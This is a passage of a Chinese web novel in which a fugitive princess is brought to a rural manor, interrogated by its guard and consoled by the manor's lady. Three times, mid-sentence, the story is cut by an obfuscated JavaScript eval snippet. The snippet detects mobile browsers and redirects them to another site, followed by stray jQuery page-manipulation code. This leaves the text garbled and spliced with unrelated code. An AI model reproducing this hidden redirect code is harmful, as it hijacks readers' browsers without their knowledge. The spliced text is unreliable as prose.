最恨的是她自己呀。 恨自己不够强。 若是她够强，自用不着仰仗谁的脸色。若是她够强，便用不着适应这狗屁的世道。若是她够强，就能让这世道适应她。若是她够强，就能改了这世道，让那些跟她一样没路引，没保人，没名头，没门路，任人欺负也不敢吭声的人不必惊慌失措不必躲。要是她够强—— 就能把她珍爱的一切都庇护在手里。 宋展翅鸣叫一声比一声嘹亮，穿透悄寂寒夜，将宋文楚因恨意带来的失状如潮驱散。 她低头看它，笑了一下。 “往后我护着你。再不用你替我飞，再不用你替我挡巴掌，再不用你饿着肚子陪我睡那冷冰冰的房。就让你好生待着。想飞就飞，想吃就吃，想睡就睡，看谁敢来欺你。” 宋展翅金色的眼珠子滴溜溜转动望着她，轻轻啾了一声，许是应了。 宋文楚将它塞进怀里，继续漫无目的向前进，宋展翅却不乐意了，刚埋进去的头往外钻。 翅膀又扑棱上了，颤动得十分厉害毛也炸炸的。宋文楚立刻明白过来，周围不对劲。 “怎么了？” 它的翅膀尖往她身后指。 风声。远处更夫的梆子声。 脚步声。 不轻不重不远不近，随着她走而走随她停而停。 宋文楚心跳声咚咚咚的，她立即想起方才那小胡子撂下的狠话。 难不成是他？ 如果是他—— 宋文楚不敢再想，再次加快了脚步。那脚步声也跟着加快。她更快了，那脚步声又跟上了。 她拐进一条巷子，那脚步也拐进来。 宋展翅还在抖，拿翅膀推她催她跑再快点。 宋文楚只想叫它别催了，没看见她脚底下都跑冒火星子了吗，可她就是甩不开后面的人，跟个鬼一样缠着她。 跑出巷口后是一条街，分出几条岔口。 真是绝处逢生！ 她精神一振，这是甩掉背后尾巴的最佳时机。宋文楚左右一看，选了一条巷子钻进去埋头猛冲七拐八绕，绕到也不知道往哪儿去，她根本不管跑就是了。 她觉得差不多了，停下去倾听。天不遂人愿，那脚步声还在跟着。 可她真跑不动了，跑出了一身湿汗闷在衣裳里黏答答的。 宋文楚背抵着墙大口喘气，从地上捡的一块稍稍尖利的石头捏在手里。 随着那人走近，她的脑海里演练过三四遍敲击的画面。 那脚步声终于停了。一个人站到巷口，只若再朝前一步往左边瞧眼就能和宋文楚打个照面。 月光从他身后照进来，照出道瘦长的影子。然后影子往前走了两步，走进了月光里。 宋文楚将敲击的举动收了回来却也没松石头。 不是那小胡子。 是个少年，十七八岁模样，一身陈年老旧的青布。眼睛像只老虎一样有神，看到她露出个和善的笑。 “姑娘别怕，我不是坏人。”他举高两只手掌心朝她，表示自己并没有恶意。 宋文楚听到这话未免觉得好笑，哪个坏人会大个嗓门嚷嚷着自己是坏人？ 宋展翅又开始炸毛了，朝这少年张牙舞爪地拍翅膀。 少年瞧见宋展翅目露稀奇：“好精神的雀鸟！不过这相貌倒是没见过，姑娘养得可真好啊。” 吹捧可没用，宋文楚仍警惕举着石头。 少年看出宋文楚防心重，只得往后连退了数步，拉开一段距离后才将手放下。 “姑娘可别误会，我真不是坏人啊。就是刚刚看到你一个人在这街上转了大半宿都没个去处，实在怪可怜的。” 宋文楚心里冷笑。 可怜。 今个一天，她都听够了这俩字。 “我看你从客栈出来，走了一路走两步瘸一步，也不知道往哪儿走。你年纪这样小独身出门在外，很容易叫人贩子给拐走的。” 这少年莫不是在说自己？一直尾随自己至此，还说着假惺惺的话。此人行径委实可疑，宋文楚更忧惧了。 她问：“你究竟想干什么？” 少年道：“姑娘，我这儿倒是有个去处。管吃管住，活儿也不重。姑娘要是没地方去，可以跟我去看看。” 若换作初出宫时的宋文楚撞上这等好事，怕真要当是天地垂怜她金鳞搁浅谭，冥冥中有天意引路，为她寻来一处庇护所安身立命来的。 而今时不同往日，她如今是有眼见的人了，将人情冷暖世道艰险尝了个遍。深宫里读了十几年的书没教会她，这几日的风霜亲历一教便会。 她可再不是那时候懵懂天真，逢人便信的公主殿下了。 现在的宋文楚自诩历尽坎壈，心中成长程度已经和大人没几分差的世道人了。 宋文楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296260|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 托着那块石头掂了一下想撑点气势，落下来砸进手里那一瞬差点没把持住痛呼出声，嘶好疼！终于老实不耍酷了。 她下巴一昂，倒豆子似的把一肚子的话全倒出来：“你那地方是做什么的？可有什么来路？可有官府文牒？可有保人？做的什么营生？签的什么契约？有什么规矩？你在庄里是什么职位，可做得了主？庄主是什么人？庄上的人都什么来路？我去了做什么活儿？干不好扣不扣钱？干得好涨不涨工钱？可有人欺负新人？可有人动手动脚？要是有人欺负我，你管不管？要是我想走，什么时候能走？走得时候给不给结账？你那庄子外头可有官道？夜里可有人巡更？冬天可有炭火？夏天可有凉茶？一天吃几顿饭？饭可管饱？住的是什么屋？几个人一间？我那鸟跟谁住？它要是病了，有人给它瞧么？最后，你叫什么名字？你几岁？” 这些都是她挨过的钉子，现在可以用来扎别人了，好不痛快！ 少年虎目圆睁，仿佛被人当头泼了盆凉水，又惊又乐： “你这一口气问了我……我数数，哎劳烦姑娘你再问一遍……” 宋文楚又说了一遍，说一句这少年掰根指头，最后宋文楚话音落下他也数完抬头：“三十！姑娘，你一口气问了我三十句话！” 宋文楚挺了挺胸膛面上洋洋自得，那可不。 她记性好着呢，那些人说她的什么话全悄悄记下了，她早憋着了，从初出宫门憋到现在。 “怎么，你不乐意回答麽？” “成！我答。” “名头叫老母猪庄——”少年说完这句后自觉止住话，去瞧宋文楚表情，一脸“我就知道你不信”。 “姑娘想笑就笑，没事。我刚来的时候也笑，笑了三天呢，我们这庄子名还是有来历的。早年这周围也没几个人地都是荒着的，后来庄主路过，看见一头老母猪领着一窝小猪崽在山沟里刨食，刨得可欢实喽。庄主就想呀，这地方连猪都能养活，还能养不活人了？就把庄子安这儿了。名字也懒得想，就叫老母猪庄。一开始是别扭，叫着叫着也便顺口了。外头人一听都笑得要死，他笑归他笑，只有庄里的人知道这就是我们的家。” “你们这庄名挺有意思的。”宋文楚笑够了，又换回严肃脸示意他继续答。 “当然是正经来路。” “有的姑娘官府文牒有的，年年都纳粮呢。” “庄上几十口人，个个都是保人。平常是做种地、采药、收山货的营生，跟官府租的山再自己开荒，采了药后卖给城里的药铺换银钱。” “跟城里几家药铺签的长契都锁在庄主屋里，你要想看去了我们庄就能看到了。” “在我们庄上就一条规矩：不许偷窃。旁的都好说，对了还有一条——不许笑话庄子的名字，不过这条不太管得住。” 说到这里，少年也哈哈笑了两声。 “我是管事的，庄主不在的时候就我说了算。不过小事我做得，大事还得禀庄主。” “庄主是位周姓女子，人挺厚道也不爱管事，你见了就知道了。” “庄里人都是些逃荒的或家里遭了灾没处去的人，跟姑娘差不多。” “等等。”宋文楚突然打断他。 “你既说这些人无路可去，但他们自己都没有名头又如何能保呢？这样的保人作保可有信度？” 11. 三十问娘 少年被她问得一愣，随即应道：“哈哈哈姑娘问的在理。这么给你说吧，庄里人啊保的不是人的出身而是人的安全。只要有人出事，到时候官府查的是整个庄子。大家好不容易有个落脚的地方，谁乐意给搅和黄呢？” 宋文楚：“这是个什么保法？” 少年一击双掌。 “这叫，互相保。保不了你的体面但能保你别惹祸，再说了，能来这儿大家都是一样的人，别的我们不懂可知道个好歹。谁对我们好，我们都记着呢。这样有情有义的保人这不比那些看着光鲜可压根不认你的靠谱？” 听着像是个正经庄子。 只是……宋文楚抬眼看少年，这话里有几分真呢？ 宋文楚靠的那堵墙迎在月亮背处，月光照不清她脸，眼也隐在晦夜。 少年让她这么盯着像要溺在寒潭中，心口都在跳，脸上温温吞吞的笑维持得僵冷。 宋文楚还在看他。 冷风灌进巷里，他有了由头动了动，再笑了一下，可笑刚挂上去，又觉着太过殷勤。他下意识想挪开眼，但挪开了就输了。 “姑娘？”他试探着喊了一声。 宋文楚未应，宋展翅倒抻着个头往前探，张嘴咻地打个哈欠，翅膀抖抖，活动个两下再次收了回去。 宋文楚终于移开视线，抚了抚那团绒毛。 少年有种他们在对暗号的感觉，他又立即驱走这个念头，和只鸟能商量个什么？ “行，我大概了解了。” “哎哟我的姥天奶！”少年甩手去抹额头上的虚汗，“刚才你那眼神，简直还以为你要把我吃了。” 宋文楚感觉好笑：“你怕什么呢？” “我怕的可多着。怕庄上今年收成不好，怕山货卖不上价，怕新来的婶子嫌通铺挤，怕庄里的狗打架……但最怕的还是你手上石头给我头顶开个瓢人再一溜烟跑了，最后我脑瓜子血渍啦擦的，你抱只鸟也没地儿去，咱俩都得不偿失喽。”少年笑嘻嘻同她贫嘴。 宋文楚：“那你们该如何保证新来的可信？” 少年竖起食指摇了摇。 “你这话就说错了。不是我们信他，是他得让我们信。新来的人在头三个月里都会跟大伙儿一块吃住干活。真有坏心的，就看他熬不熬得住，我们几十口人呢他能害得动？” “那要是藏得深呢？” 少年目光变得沉沉的。 “再深能藏得过一年两年？若真有这样的那都不能叫坏人了，得叫有耐心的好人，我们留的就是这种人。” 随后他从被宋文楚打断处接着答起后面的问题，不假思索，行云流水。 末了，他道：“我叫狗剩，年十七。” 宋文楚沉默了。 宫里那些个宫女的名字，什么春兰秋菊的，个个高洁典雅。便是太监的名字，什么福顺啊，安康啊，永寿啊的，也吉利得能掐出水来。 当然啦，最为满意的还属宋展翅的名儿，这可是她亲自取的！ 盼它展翅高飞，盼她出那高高的墙。 只有这狗剩…… 难听。 太难听了。 怎么会有人的名儿能这么难听？ 狗剩看出了她心中所想，也不在意：“穷人家的孩子名字都贱。叫了十七年改不了喽，不过叫顺口了还挺亲切的。 亲切不亲切不知道，就是有点费狗。 狗剩影子一晃一晃地在前头带路。兴许光走着无聊，他寻宋文楚搭话。 “你方才那三十问，是我这辈子听人一口气问过最多的，往后我就叫你‘三十问姑娘’吧。你家以前是做过买卖吗？寻常人家哪里会知道这些？” “没做过，不过经验之谈经验之谈罢了。”挨钉子挨出来的呗。 约莫走了小半个时辰，眼前现出一片庄子。 夜色里看不清全貌，只见着围了一圈青砖墙。狗剩领着她绕到正门。 两扇黑漆门，门楣上挂的一块匾上写了四个铁画银钩的大字——老母猪庄。 漂亮的字配这意趣的名，也算得雅俗共赏。 宋文楚打量的功夫，狗剩站定门口往里探了探，然后他叹口气脑袋缩回来。 “三十问姑娘，咱们在这儿等会儿吧。” 宋文楚：“怎么了？” 狗剩双手抱臂靠在门上：“贾阎王正在里面盘查着新人呢，咱们进去早了容易撞枪口上。” “贾阎王？” 狗剩点头：“嗯。他姓贾外号阎王，是庄上管进人的武巡，进庄前得先过他这一关，寻常都得他说过行才行。”狗剩本想先斩后奏将宋文楚偷偷塞进来，后面熟悉些了贾阎王也不好再赶人。 一番话宋文楚听在心里却不是个滋味，这跟狗剩先前同她说的不一样。她站近了些往里看。 院子里站着个人，三十来岁的模样，身段如松，额上勒条黑色抹额压住几缕碎发。 他对面站着三个衣衫褴褛的流民。一个诚惶诚恐的老头，另外两个年轻人倒镇定些。 “你哪里来的？”问的是左边那个老头。 “回、回爷的话，小的从北边逃荒来的……听、听一位叫狗剩的小哥说，这儿、这儿管吃管住就来了……” 贾阎王冷笑：“会功夫不？” 老头腿子都在打摆：“不、不会，小的就是个种地的……” “不会就走。” 老头扑通跪下。 “爷！爷！小的不会！可小的什么都能干！劈柴挑水喂牲口，什么都行！小的还有一把子力气！” 老头又说了好些话，说他饿了八天，说他将树皮啃光了，说他妻儿老母全没了。 贾阎王不为所动。 最后老头颤颤巍巍伸出两条柴得跟风干腊肉似的胳膊，极力伸到贾阎王面前展示：“您瞧，还有劲儿呢！” 贾阎王笑了。那笑从鼻子里哼出来的，像瞧见了什么新鲜玩意儿。 “有劲儿？你举着这俩麻杆，跟我说什么都能干？” 老头眼里希望的光灭了。 “走吧，我这儿不收烧火秆。” 老头还想再求，旁边一边一个过来两人架起他就往外拖。 贾阎王再问起剩下两人。 “你们又是从哪儿来的？” 中间的站得笔直，那头刚问这头就抢着答话： “北边来的，跟刚刚那老头一个村。” “会功夫不？” “会一点。” 贾阎王眼睛亮了：“练过？” “练过两年庄户把式，护院教过几手。”贾阎王上下打量一番，猛地伸手往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303536|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他肩上一拍。 那人的身子晃了晃，却是没倒。 贾阎王还算满意：“成，留下。” 最右是个年轻书生，看着就手不能提肩不能扛的窝囊样子，贾阎王不抱希望照例问几句。 “你哪儿来的？” “东边山里的。” “会功夫？” 书生往后退一步，扎了个马步，然后一拳打出去。 拳头破风带得空气呼呼响动。 书生好啊，书生也有用。 贾阎王收了不耐点了点头：“你也可以留下。” 书生随上一位站到一边。 贾阎王转着右手手腕，似不经意间随口一提。 “狗剩，你在外头站着做什么？” 唉，还是被发现了！狗剩本来皱得苦苦的脸在左脚踏进门的那刻，立即绽如菊花。 “贾叔，我带个人来。” 贾阎王只瞟过宋文楚一眼，又轻飘飘移回来，目中无人。 “你现在倒是越来越会偷懒了。” 狗剩：“贾叔，您这话说的——” “方才那个老的听着也是你叫来的，什么都不会也往这儿领。我当你是一时走眼也就罢了，现在又来一个？都不是一两次了。这丫头，呿。当这儿是后花园么？还是当这儿是善堂？回头庄子改成粥棚算了。”这些话是冲着狗剩去的，也是意有所指。 夜风一霎，吹得宋文楚衣裳簌簌地响，热念随风飞。 狗剩说的话像隔了迷迷蒙蒙的雾，现在她闯进雾里撩开去，后面露出的东西全都不一样。 方才那老头两条在地上拖着的腿还在宋文楚眼前晃，哭声求声都揉作一团全往她耳朵里钻。 没地去的人可以来这有地去的地，却被赶出去又成了没地去的人。 她懊悔了。 懊悔从街头走到巷尾，从巷尾走到郊野，走到她遐想的庄里，站到一个姓贾为真的阎王面前，等一句即为审判的可以留下。 懊悔了，然后呢？ 然后她盼也没盼离了这儿继续走，走至天明，走向薄暮。 就在这时—— 眼前骤然一黑，一道风劈过来直扑向她面门。 来不及看来不及躲来不及喊，宋文楚念想顿成空，只剩茫茫一片白，她在最后一刻握紧了手里的鲲。 鲲在她掌中挣起来，叫声尖急，它要跳出去撞贾阎王的手。可宋文楚不能放手，她说过往后会护它，她将鲲收得更紧了。 三寸。两寸。一寸。风停在了眉前，没碰着她。 狗剩从后头追上来，一把拖住贾阎王胳膊：“贾叔！你干什么？” “试试她。” “试什么呀，您吓着她了！” 宋文楚两眼先是眯开一条小缝，待心神归位才彻底睁开，便见贾阎王意味深长着看她，手才收回去。 “没躲、没还手倒还成，要真是个练家子反而留不得了。” 狗剩愣住：“为、为什么？” 贾阎王斜睨着宋文楚。 “你仔细看她身上穿的。” 狗剩看过来，宋文楚也低头看看自己。 “寻常人家穿得起蜀锦吗？喏，袖口毛边处的缂丝露出来了，一寸缂丝一寸金。呵呵，你把金子穿在身上来我们这儿。” 12. 妇人之仁 宋文楚就剩这一件衣裳了。 其实翠儿给过她几件平常衣裳的，但她离开时一样没带走。只要穿着这身衣服，哪怕知晓自己早已一无所有了，却也和别人是不一样。她仅剩的一点心高气傲全凭这件衣服撑着。 “这都敢带来，不怕栽跟头吗狗剩？” 狗剩一时不知该怎么回了。他跟了宋文楚一路，哪里是巧合呢。 是翠儿托的他。 狗剩和翠儿是旧相识。昨夜他从来安客栈门口经过，正听见里头吵嚷的动静，腿还没迈进去，翠儿就匆匆跑出来一头撞上了他。 见是他翠儿立马有了主心骨，拉着狗剩就说：有个十二岁的可怜小姑娘摊上点事，眼下在客栈里留不得了。你能不能把她带去你们庄上？ 翠儿说起那姑娘的稀罕事迹，什么打翻面碗、骂客人、抡托盘抽人脸。听着听着狗剩听乐了，好个有脾气性子的愣头青丫头。 无依无靠也怪可怜见儿的。 即便他和宋文楚也没认识几个时辰，对她过往所知无几，但翠儿既开了口，他也就应了。 横竖庄上也不差多收一个人。 可现在，狗剩的脸也绷紧了。一上来就有问题的人是绝对不能留下的，翠儿的情面比不得庄上规矩。 他只盼着，三十问姑娘能拿出个让人信服的理由来。 宋文楚：“衣裳不是我自己的。我原先在大户人家做事，这家太太人好，赏了我几件旧衣裳。别的都在逃荒路上被偷了或丢了，只剩下这一件。本想当了换饭吃的，可当铺见我面生都不敢收，后来就一直穿着。” 贾阎王要说什么，却被一道冷冽的声音打断：“贾叔，且容我来问。” 宋文楚心中一惊，莫非是哪句令他起疑了？抬眼看去，狗剩仿佛换了个人，面上的笑意褪得干净，虎目渐露出锐利。 “衣裳的事你再说一遍。” 宋文楚又说了一遍。 狗剩转头看了贾阎王。 “再说一遍。” 宋文楚再说了一遍。 贾阎王点了点头。 宋文楚以为终于要结束这窒息的盘问，怎料狗剩在她未完全松下那口气的当儿，快速地又说了一句： “倒着说一遍，不要瞧别处，看着我的眼睛说。” 倒着说？ 倒着说……倒着说怎么说…… 她从小到大，念过书背过诗，可从来没被人这么问过话。一句话倒着说还行，可这么一长串话倒着说很容易乱，一旦乱了其中逻辑就接不上。 宋文楚脑子飞转，强迫自己冷静下来。 人在说实话的时候，即使倒着讲事件，每句话也得由逻辑管辖，不可能只是堆砌词汇或将正话倒着说。 哪怕说得磕巴颠倒，也得有因果。 她将方才连续复述过三遍的话，在脑中从后往前全部拆分成一个个关键词，再将词连成句，最后的事往前推，边推导边捋清逻辑，推一步，再推一步，推着推着—— 终于，推出一条路来。 宋文楚掩住慌乱交织，将方才捋过一遍的倒叙沉声道出，边说边修正一些粗糙的逻辑。 “就是我后来就一直穿着这件衣裳了，因为当铺都不收。当铺不收，是因为我面生，不敢接了去。我想拿去当，只是想换饭吃——” 宋文楚实在是紧张，即便脑子里已经捋顺了，可说着说着仍是卡了一下。顺序对不对？是这样的吧？ “我也只剩这一件可当了，别的都在路上被偷了或丢了。那些衣裳是太太赏的，太太人很好，收我在她家做事。我在大户人家做事，可衣裳不是我自己的。” 说完了。宋文楚心跳个不停，指尖又凉又颤，看向狗剩的目光里带上了希冀。 良久。狗剩和和气气笑了，眼睛精光炫亮：“不错，语序颠倒了不过事还是那个事。”他松了口气，又一次去看贾阎王，带着自信张扬。 当谁看不出来你小子的嘚瑟劲呢？贾阎王腹中暗啐一口。既是狗剩亲自下场盘过也无什么破绽，那便随他去了。 “既是个没功夫的身家也不复杂，你领走吧。” 贾阎王冲旁边新收的那两个一扬下巴，迈步就走。 步子大开大合，带起抹额旁漏出的碎发随风而动。 与狗剩擦肩而过时，他嘴唇掀起扔下四个字： “妇人之仁。” 狗剩没什么表情，可宋文楚听见了，听到心里去了。 妇人之仁。 从前她听太傅讲史，讲到那些因为仁慈而误事的人时，太傅也会叹一句“妇人之仁”。她问太傅，这词是骂人的么？太傅说，是，也不是。说的人觉得是骂，听的人觉得是夸，全看各自立场站在哪头。 时隔多年，初听时她懵懵懂懂也未想过自己是站在哪头。 再听时她被这四个字钉在了原地。 她不是懂了这词究竟是好话还是坏话，她是明白了这词落在人身上会是什么结局，她该选择怎样的立场。 贾阎王就这么甩下这四个字，头也不回地走掉，轻轻松松。 狗剩为什么不反驳？为什么没有人说话？ 她转过头看狗剩，狗剩站在旁边不吭声，没觉着有何不对。她又去看那两个年轻人，跟着贾阎王身后充耳未闻。 她又看宋展翅。小东西甩甩脑袋又抖一抖翅膀，慢条斯理梳理起刚长出的几根绒毛。 哦。 展翅是只鲲鹏，它不是男人。 她往四周看的这一圈。狗剩。贾阎王。那两个年轻人。宋展翅。 只有她一个妇人。 只有她一个。 原来如此。 一簇小的火苗从宋文楚心底窜起来，烧过五脏六腑，烧过口鼻耳喉，烧得她渴望自己滚地燃成了燎原之火。 “站住！” “妇人之仁怎么了？”她声音还在抖，可抖也要说。 所有人都看向了她，贾阎王更是皱起眉头。 “别理他，三十问姑娘。”狗剩上来拉她，脸上又有了笑意声音也温和了，“他就那样，总是嘴上不饶人。” 宋文楚挣开他的手，往前跨了一步，这不仅仅是距离的一步。 “妇人之仁是把人当人，仁便是仁，凭什么带上妇人二字便成了骂人的话？” “你把那老头撵走了，他今夜会死么？大概会的。冻死，饿死，随便哪个墙角一靠明早就硬了。你管那叫妇人之仁。那老头来的时候跪在地上的时候，他心里想的是什么？他盼的是什么？他盼的就是这点儿妇人之仁。是狗剩说没地方去的人可以来这里，我来此处同样因为这点妇人之仁。”风吹得她头发飘起来，遮住了眼睛。她伸手拨开，眼睛亮亮的。 “你说妇人之仁，像是说什么丢人的事。可这世上要是连这点仁都没有了，还剩什么？只剩暴戾与杀戮吗？这就是你们非妇人之仁所追求的？” 宋文楚说完，眼眶便热了。这一刻她抛却所有，无畏饥寒病衰，无惧生死存亡，她寻到了平生学识与能力所用的真正意义，是为妇人正名，是替无声者发一言。 她跃跃欲试，她心中有了信仰，然后—— “说完了？”贾阎王嘴角牵了牵，并不似笑。 “妇人之仁是把人当人，仁便是仁，可这世上要是连这点仁都没有了，还剩什么？” 他把宋文楚的话， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306258|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原样念了一遍。 “那我问你，那老头被拖走的时候你就站在那儿，心里疼了一下，然后呢？” “你追上去，给他银子了？给他吃的了？给他找着今晚睡觉的地儿了？” “你什么都没做。你只是站在那儿，疼了一下。” “你这叫妇人之仁，你这仁只仁了你自己。” 贾阎王语气是那样不咸不淡，说不清的嘲讽。 宋文楚安静听着他重复自己的话，听他最后一字落下，她再没有说话。 狗剩觉察到氛围的沉闷，想宽慰宋文楚几句什么，一转头——她脸上亮亮的，挂下两条印子。 伸手一摸，湿的。 狗剩用袖子去擦她眼泪：“三十问——” 口中的话戛然而止，狗剩眼睛落在宋文楚身后就移不开了。他结结巴巴喊了声：“周庄主。” 众人回头。 月色里站了个女子，着湖蓝大氅，头发松松挽着。她身边跟着个青衣女使，提一盏灯，灯火晃晃悠悠。 贾阎王抱拳：“周庄主。”两个新收的年轻人也跟着垂首行礼。 周庄主微笑着点了下头，目光越过众人，随后她弯下腰朝宋文楚招手。 “孩子你过来。” 周庄主眉眼里有软软的光，宋文楚瞧着脚下不知不觉就动了。到了周庄主跟前，她的手落在宋文楚头顶，温声道：“方才那些话，我都听见了。” 宋文楚有点紧张。 “说得真好，小小年纪能说出这些话来，真厉害。妇人之仁不是丢人的事。这世道，教人硬心肠，教人冷眼看，教人把自己的疼收起来，把别人的疼不当回事。正如你所说的，若是连女子心里那点软处都没了，这世道还剩什么呢？” “仁就是仁，不分什么妇人男人。能疼是活着的本事，别让人把这本事从你心里剜了去，你做的很好。” 宋文楚双颊又淌过两行泪水。 母妃在离世前也是这样摸着她的头，轻声细语地跟她说话，让她乖乖吃饭把身体养得健壮。 宋文楚很听话，吃得多也经常跑动，身体比年龄相当的皇女皇子们都强壮，健康，有力量。 这会儿有人摸着她的头，给她讲处事道理。 眼前面容和母妃重合上，她再忍不住扑进周庄主怀里，脸埋在她衣襟上放声大哭，她的恐惧她的委屈有了可以倾诉的人。 “母妃——” 周庄主睫毛颤了一下，很快平复眼底波澜。她揽着宋文楚，“母亲在这里。”她轻声说。 周庄主的声音也像小时候母妃哄她睡觉时那样。 宋文楚哭得更大声了。 狗剩看着宋文楚依偎周庄主怀里，二人间萦绕着母女情深之感，他呆呆看了许久。 周庄主轻轻拍着宋文楚的背，目光落在贾阎王身上。 “老贾。”她的声音还是那样温温柔柔，贾阎王却不敢轻视，“你护着这庄子这么多年，什么都好——就是忘了，人心里那点软处才是庄子的根。” 贾阎王：“庄主说的是，贾某记住了。” 周庄主低头，怀里的宋文楚还在抽噎着。 “没事了，母亲在这里。” 也不知哭了多久，宋文楚才歇了声。哭得鼻涕眼泪一大把，蹭得大氅都湿漉漉的。弄脏了周庄主衣裳她有些不好意思，正想着怎么开口，便听得周庄主问她： “孩子，你叫什么？” 楚文两个字还没蹦出来，狗剩在旁边又抢答了：“她叫三十问姑娘。” 好吧，宋文楚再次痛失化名了。 “三十问？”周庄主听着有趣，“这名儿有意思，比狗剩强。” 13. 素心之花 几人相继离去后，周庄主唇边笑意慢慢收了回去，她垂下眼静了一息。 “备车。” 青衣女使未多问，应了声即去到后院。片刻后，马蹄声伴着车轱辘转动的嘎吱声传来。 马夫殷勤笑着将二人迎进车内，心里却在叹气。 这才回庄子歇了不到半个时辰，茶都还没喝一口呢怎么又走？哎……他只是个马夫，人微言轻可不敢多打探上头事，老实坐到了辕子上驾车驶往远方。 …… 宋文楚这一哭，一响成名。第二日也不知谁起的头，给她传了个“哭震天”的诨名出来，她疑心是狗剩的手笔。 顺着“哭震天”，昨日之事一样样在脑海浮现，浮到那一声“母妃”时，腾地浑身寒毛都竖起了。 她喊了什么？ 母妃——！ 她喊庄主母妃。 庄主一定听见了吧？她听见了吧？她或许听见了吧？ 她听见了……么？ 其他人呢…… 若是庄主起了疑心，顺着往下查—— 她不敢再深想下去了。 宋展翅瞧见她愁眉苦脸的，咻一声伸脑袋去蹭蹭她的手，她胡乱揉了一下，心沉甸甸的：得去探探口风。 可找谁探？ 庄主那处她是定然不敢去的，这会儿让她见庄主，她怕是连话都说不利索。 狗剩。只能找狗剩。 宋文楚眯着眼在院子里转过一圈，听到井台那边哗啦一声水响，望去，狗剩正光着膀子站在那儿，一瓢水从头顶浇下去，蒸腾出一缕缕白烟。 他甩甩脑袋，水珠子四溅。宋文楚今天穿的是件粉白小袄，像只软软的粉团子，他一见到就咧嘴笑了：“伏雪的手艺真不错呀，这身衣裳很合适你。” “伏雪？” 宋文楚走过去蹲在井台边，把鲲从怀里掏出来搁在膝盖上晒太阳。眼睛直往狗剩身上瞄，他不嫌冷吗？ 狗剩擦着身上：“就是周庄主身边那位女使，昨夜见过的。哦对了，除了‘三十问’外，如今你又多了个‘哭震天’的名号。也是伏雪传的，她说你哭得跟把天哭破了似的，往后就叫‘哭震天’罢，哎呦，这回可不能赖我了。” “原来如此，我真以为又是你给扯的诨号呢。”宋文楚捋着宋展翅羽毛，悻悻一笑。 “哈哈哈，你也听着呢？” “可不是么，早上给我送衣裳的阿娘说我现在可是一哭成名，大名鼎鼎‘哭震天’！”她又皱起眉，似有些羞赧，“怪叫人不好意思的……” 狗剩笑得肩膀直抖。 “嗐这有什么，没甚不好意思的，听着多威风！一啼惊鸿，哭震江湖，往后出去把你这名头一亮，谁不高看你一眼？” 宋展翅从她膝盖上站起来，抖抖翅膀冲狗剩咻了一声，像是在附和这名头威风。 狗剩被它捧了场，心中也喜悦：“这小东西精神挺好。” “嗯。”宋文楚摸摸它脑袋，随口问道，“后来我抱庄主的时候，你们都瞧见了？” “嗯呢。”狗剩转过身擦后背，“都看着呢。” 宋文楚脸上一烫：“那你们见着我哭的时候是什么反应？” 狗剩想了想：“我是被吓了一跳，眼见着你一头扑进庄主怀里开始嚎，接着嘴里就喊她，我都纳闷了你怎么想得起来的？” “什么？” 狗剩笑一笑：“怎么会想得起来喊周庄主母亲呢？” 宋文楚埋下头。狗剩眼里好奇不是作伪，也非意有所指，想来他是没听着。 “就是……周庄主她，很温柔，与我娘一般。后来我娘不在了，再没有人那样抱过我。” 狗剩安安静静听着。 “昨日贾阎王那些话，说得我心里难受极了。我知道他说得对，我什么都做不了，什么都不是。然后庄主就来了，她朝我招手，我走到她跟前，她将手搁在我头上，同我说那些话——那些话，就像我娘从前说与我听的，我便再也忍不住了。”宋文楚眼眶红红的。 她仰起脸，不想让眼泪再涌出。 “我就想让我再当一回小孩吧，就一回，让我偎依在娘怀里再哭一回。我以为自个儿偷着念没人听着呢，没曾想叫你们都听到了，真臊得慌。” 狗剩听着宋文楚独白，面上流露出同样的落寞，他很快便收了回去，又如往常一般，笑得和煦明朗： “没事没事，大伙儿都听到了虽然没听得清。你当时脸埋在庄主怀里呜呜咽咽的跟念经一样，也是后面周庄主又提了句，我才晓得你叫的是‘母亲’，不然我还以为你在骂贾阎王呢。” 宋文楚心下稍安，周庄主应是也未听清，否则就该盘问了。她忍不住笑出来，悲伤一扫而空：“我敢骂他？” 安是安了，心却仍有一小块悬空着。还是得想想，回头周庄主问起时该给个怎样合理的解释。 “那有什么不敢的。”狗剩也笑，“你都跟他顶嘴了，骂两句也正常。” 宋文楚没吭声，似乎是在琢磨什么鬼主意。 狗剩套上里衫，弯身捞起井台上的外衣夹在腋下，伸手拍拍她脑袋：“行了，别想了。走，我带你吃饭去，后厨还给你留着呢。吃完就闲不得喽，得干活。” “干啥？” 